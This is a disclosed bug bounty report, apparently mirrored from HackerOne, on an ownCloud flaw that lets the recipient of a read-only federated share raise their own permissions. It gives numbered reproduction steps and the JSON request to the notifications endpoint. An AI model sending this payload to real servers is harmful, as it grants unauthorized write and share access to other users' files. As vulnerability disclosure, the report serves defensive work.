HexBrain

ownCloud · Report #1990443

Federated share permissions can be increased by recipient

Validstatus
mediumseverity
$500bounty
29upvotes
24 Jun 2023disclosed

How it was found

  1. userA on serverX does a federated share to userB on serverY (this by default is read only)
  2. userB accepts the share
  3. userB does a request to

https://SERVERY/apps/federatedfilesharing/notifications

With the content. Replacing the SHARE_TOKEN, and the SHARE_ID they find in their database

{
    "notificationType": "RESHARE_CHANGE_PERMISSION",
    "resourceType": "file",
    "providerId": "SHARE_ID",
    "notification": {
        "sharedSecret": "SHARE_TOKEN",
        "permission": ["read", "write", "share"]
    }
}
  1. userB now has full access

Impact

A recipient can increase their permissions trivially

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original